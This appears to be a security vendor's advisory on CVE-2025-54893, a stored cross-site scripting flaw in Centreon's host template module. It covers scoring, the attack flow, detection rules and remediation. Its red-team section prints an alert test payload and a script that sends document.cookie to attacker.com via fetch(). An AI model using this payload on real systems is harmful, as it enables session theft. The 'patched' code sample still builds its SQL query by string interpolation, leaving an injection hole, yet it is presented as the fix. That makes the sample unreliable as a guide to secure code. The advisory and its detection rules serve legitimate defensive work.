CVE-2025-54893

Executive Summary

CVE-2025-54893 is a Stored Cross-Site Scripting (XSS) vulnerability in Centreon Infra Monitoring, specifically within the Hosts templates configuration modules. An authenticated user with elevated privileges can inject malicious scripts into the web page generation process. When other users (including administrators) view the affected host template configuration, the injected script executes in their browser context. This can lead to session hijacking, credential theft, or further lateral movement within the Centreon environment. The vulnerability affects versions 23.10.0 through 23.10.27, 24.04.0 through 24.04.17, and 24.10.0 through 24.10.12. Patches are available in the respective latest minor versions.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby). However, Centreon is a monitoring platform that may be deployed via containers or custom packages. Organizations should verify the integrity of their Centreon installation and ensure no tampered packages are in use.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (authenticated user with elevated privileges)
• User Interaction: Required (victim must view the malicious template)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The requirement for elevated privileges reduces the attack surface, but the stored nature of the XSS means a single injection can affect multiple users.

Deep Dive & Mechanics

The vulnerability lies in the improper neutralization of user-supplied input within the Hosts templates configuration module of Centreon Infra Monitoring. When a user with elevated privileges (e.g., an administrator or template editor) creates or modifies a host template, the application fails to sanitize or encode certain input fields before rendering them in the web interface.

Attack Flow:

1. An attacker with elevated privileges logs into Centreon.
2. The attacker navigates to the Hosts templates configuration module.
3. The attacker injects a malicious JavaScript payload into a template field (e.g., template name, description, or custom macro).
4. The payload is stored in the database.
5. When another user (including other administrators) views or edits the affected template, the payload executes in their browser.
6. The attacker can then steal session cookies, perform actions on behalf of the victim, or exfiltrate sensitive data.

Root Cause: The application uses user input directly in web page generation without proper output encoding or validation. This is a classic Stored XSS vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In template configuration handler
$template_name = $_POST['template_name'];
// Directly stored and later rendered without sanitization
$query = "INSERT INTO host_templates (name) VALUES ('$template_name')";

Patched Code (Conceptual):

// In template configuration handler
$template_name = htmlspecialchars($_POST['template_name'], ENT_QUOTES, 'UTF-8');
// Sanitized before storage
$query = "INSERT INTO host_templates (name) VALUES ('$template_name')";

The patch ensures that all user input is properly HTML-encoded before being stored and rendered, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Centreon instance with a user account that has elevated privileges (e.g., "Administrator" or "Template Editor" role).
• Knowledge of the Centreon web interface.

Exploitation Steps:

1. Log in to Centreon with the elevated account.
2. Navigate to Configuration > Hosts > Templates.
3. Click "Add" or edit an existing template.
4. In the "Template Name" or "Description" field, inject the following payload:

   <script>alert('XSS')</script>
   

5. Save the template.
6. Wait for another user (e.g., an administrator) to view the template.
7. The payload executes, demonstrating the XSS.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual template creation or modification events.
• Look for JavaScript code in template fields (e.g., <script> tags, onerror handlers).
• Use web application firewalls (WAF) to block common XSS patterns.

Mitigation:

• Apply the patch immediately.
• Restrict template editing privileges to only trusted users.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from Centreon web interface.
• Logs: Entries in Centreon audit logs showing template modifications with suspicious content.
• File System: Modified template configuration files containing JavaScript code.
• Database: Rows in the host_templates table with <script> tags or other HTML/JavaScript in text fields.

Detection Engineering

YARA Rule

rule Centreon_Stored_XSS_CVE_2025_54893 {
    meta:
        description = "Detects stored XSS payloads in Centreon host templates"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54893"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Centreon Stored XSS in Host Templates
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts in Centreon host templates
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54893
logsource:
    category: application
    product: centreon
detection:
    selection:
        EventID: 1001  # Example: Template modification event
        Data|contains:
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in template descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-54893 Centreon Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"/steal?cookie="; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Centreon Infra Monitoring to the patched versions:
   • 23.10.28 or later
   • 24.04.18 or later
   • 24.10.13 or later
2. If immediate upgrade is not possible, restrict access to the Hosts templates module to only essential personnel.
3. Implement a Web Application Firewall (WAF) with rules to block common XSS patterns.

Long-Term Measures:

• Enforce strict input validation and output encoding for all user-supplied data.
• Conduct regular security audits of Centreon configurations.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use principle of least privilege for all Centreon users.

Valters IT
Securing Your Digital Frontier